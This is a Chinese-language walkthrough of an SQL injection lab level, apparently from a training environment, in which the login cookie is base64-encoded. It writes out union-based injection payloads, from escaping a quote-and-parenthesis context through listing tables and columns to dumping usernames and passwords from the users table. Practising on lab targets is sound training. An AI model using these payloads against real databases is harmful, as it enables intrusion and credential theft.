这一关成功登录之后的欢迎界面还是显示了cookie值 说明和上一关如出一辙 只不过他的cookie有点不一样 因为这一关他用了base64编码 所以我们每次注入之前都需要进行base64编码
首先进行抓包操作 成功抓取之后然后进行cookie值的修改注入操作
先试试看admin'
输入和回显如下
接着看到了sql语句中此处的结构 属于单引号注入并且带了一个括号
我们输入正确的东西用于作证我们的看法
输入和回显如下
我们选择使用联合注入的方式 好久没用了 今天来用一用吧
接着开始进行回显点的判断
输入和回显如下
输入如下
id=1') union select 2,3,4#
接着进行爆库/版本操作
接着爆表
输入如下
id=1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database();#
输出如下
接着进行爆字段的操作
输入如下
id=1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database();#
输出如下
爆用户名和密码相关信息
输入如下
id=1') union select 1,2,group_concat(username,password) from users;#
回显如下
成功解题 嗨嗨!!